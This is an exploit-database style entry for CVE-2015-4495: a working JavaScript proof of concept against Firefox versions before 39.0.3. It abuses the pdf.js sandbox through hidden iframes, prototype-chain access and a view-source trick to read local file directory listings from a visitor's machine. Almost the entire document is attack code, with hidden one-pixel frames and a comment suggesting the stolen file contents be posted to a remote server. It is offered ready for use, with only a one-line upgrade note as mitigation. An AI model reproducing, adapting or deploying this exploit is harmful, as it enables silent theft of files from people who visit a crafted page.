/*
# Exploit Title: Firefox < 39.03 pdf.js same origin policy exploit
# Date: 13-08-2014
# Vendor Homepage: https://www.mozilla.org/en-US/firefox/new/
# Software Link: http://ftp.mozilla.org/pub/firefox/releases/39.0/linux-x86_64/en-US/firefox-39.0.tar.bz2
# Version: 39.0 [Should work version before 39.0.3]
# Tested on: Linux (Ubuntu 14.04.3 LTS) [Should probably work in OSX]
# CVE : 2015-4495
# POC code taken from https://github.com/vincd/CVE-2015-4495
1. Description
This exploit allow attacker to read and copy information on victim's computer, once they view the web site crafted with this exploit.
2. Proof of Concept
Create a index.html and copy and paste the following html into it:
<!DOCTYPE html>
<html>
<head>
<title>CVE-2015-4495</title>
</head>
<body>
<h1>Test</h1>
<script type="text/javascript" src="./exploit.js" charset="utf-8"></script>
</body>
</html>
Run the index.html (Make sure the main.js is in the same directory) and we should be able to see the directory listing.
3. Solution
Upgrade to the latest firefox ( > 39.0.3)
*/
var start_timeout=2000;
var sandbox_context_i=null;
var DIR_CACHE={};
var FILE_CACHE={};
var hidden=true;
var my_win_id=null;
function start() {
i=document.getElementById("i");
i2=document.getElementById("i2");
if(typeof sandboxContext!=='undefined') {
clearInterval(intVal);
var os = navigator.platform;
if (os.search("Mac") > -1 || os.search("Linux") > -1) {
// NOTE: Replace the following root directory into any directory of your
// choice. Can make it an array and loop through it.
get_dir("/", function(data) {
// nothing to do here...
});
}
}
}
function parse_directory_listing(dir, data) {
var pattern = '<tbody><tr><td><a class=';
var start = 0;
var listing = 'Listing:\n';
while ((start = data.search(pattern)) >= 0) {
var d = data.substring(start + pattern.length + 1),
end = d.search('>'),
f = d.substring(0, end);
f = f.split(' ');
var t = f[0].substring(0, f[0].length-1);
var n = f[1].substring(6, f[1].length-1);
listing += ' [' + t + '] ' + dir + '/' + n + '\n';
data = d.substring(end);
}
// NOTE: Replace with some other useful stuff. Eg: Read the file and do a post
// request to send all the content to a remote server.
alert(listing);
}
function get_dir(dir,callback,internal) {
get(dir,function() {
data=get_data(this);
var dir=location.href.toString();
dir=dir.replace(/^file\:\/\//i,'');
dir=decodeURIComponent(dir);
parse_directory_listing(dir, data);
}, 500, "%target_dir%", dir);
}
function xml2string(obj) {
return new XMLSerializer().serializeToString(obj);
}
function _(s,template,value) {
s=s.toString().split(/^\s*function\s+\(\s*\)\s*\{/)[1];
s=s.substring(0,s.length-1);
if(template&&value)
s=s.replace(template,value);
s+=parse_directory_listing;
s+=__proto;
s+=xml2string;
s+=get_data;
s=s.replace(/\s\/\/.*\n/g,"");
s=s+";undefined";
return s;
}
function __proto(obj) {
return obj.__proto__.__proto__.__proto__.__proto__.__proto__.__proto__;
}
function get_data(obj) {
data=null;
try {
data=obj.document.documentElement.innerHTML;
if (data.indexOf('dirListing') < 0) {
throw new Error();
}
} catch(e) {
if (this.document instanceof XMLDocument) {
data=xml2string(this.document);
} else {
try {
if (this.document.body.firstChild.nodeName.toUpperCase()=='PRE') {
data=this.document.body.firstChild.textContent;
} else {
throw new Error();
}
} catch(e) {
try {
if (this.document.body.baseURI.indexOf('pdf.js') >= 0 || data.indexOf('aboutNetError') >- 1 ) {
return null;
} else {
throw new Error();
}
} catch(e) {
;
}
}
}
}
return data;
}
function get(path,callback,timeout,template,value){
callback = _(callback);
if(template && value) callback = callback.replace(template,value);
proto_prefix="file://";
var invisible_code="";
js_call1='javascript:'+invisible_code+_(function(){
try {
open("%url%","_self");
} catch(e) {
history.back();
} undefined;
}, "%url%", proto_prefix+path);
js_call2='javascript:' + invisible_code + ';try{updateHidden();}catch(e){};' + callback + ';undefined';
sandboxContext(_(function() {
p = __proto(i.contentDocument.styleSheets[0].ownerNode);
l = p.__lookupSetter__.call(i2.contentWindow,'location');
l.call(i2.contentWindow, window.wrappedJSObject.js_call1);
}));
setTimeout((function() {
sandboxContext(_(function() {
p = __proto(i.contentDocument.styleSheets[0].ownerNode);
l = p.__lookupSetter__.call(i2.contentWindow,'location');
l.call(i2.contentWindow,window.wrappedJSObject.js_call2);
}));
}), timeout);
}
function get_sandbox_context() {
if(my_win_id==null) {
for(var i=0;i<20;i++) {
try {
if(window[i].location.toString().indexOf("view-source:")!=-1) {
my_win_id=i;;break;
}
} catch(e) {}
}
};
if(my_win_id==null) return;
clearInterval(sandbox_context_i);
object.data='view-source:' + blobURL;
window[my_win_id].location='data:application/x-moz-playpreview-pdfjs;,';
object.data='data:text/html,<html/>';
window[my_win_id].frameElement.insertAdjacentHTML('beforebegin', '<iframe onload="' + _(function() {
window.wrappedJSObject.sandboxContext = (function(cmd) {
with(importFunction.constructor('return this')()) {
return eval(cmd);
}
});
}) + '"/>');
}
function setup_plugin() {
var i = document.createElement("iframe");
i.id = "i";
i.width = 1;
i.height = 1;
i.src = "data:application/xml,<" + "?xml version=\"1.0\"?><e><e1></e1></e>";
i.frameBorder = 0;
document.documentElement.appendChild(i);
i.onload=function() {
if(this.contentDocument.styleSheets.length>0) {
var i2 = document.createElement("iframe");
i2.id="i2";
i2.src="data:application/pdf,";
i2.frameBorder=0;
if(!hidden) {
i2.width="100%";
i2.height="700px";
} else {
i2.width=1;
i2.height=1;
}
document.documentElement.appendChild(i2);
pdfBlob=new Blob([''], { type:'application/pdf' });
blobURL = URL.createObjectURL(pdfBlob);
object = document.createElement('object');
object.data='data:application/pdf,';
if(hidden) {
object.style.display='none';
object.width=1;
object.height=1;
}
object.onload = (function() {
sandbox_context_i = setInterval(get_sandbox_context,200);
object.onload=null;
object.data='view-source:' + location.href;return;
});
document.documentElement.appendChild(object);
} else {
this.contentWindow.location.reload();
}
}
}
setTimeout(function() {
setup_plugin();
intVal = setInterval(start, 150);
}, start_timeout);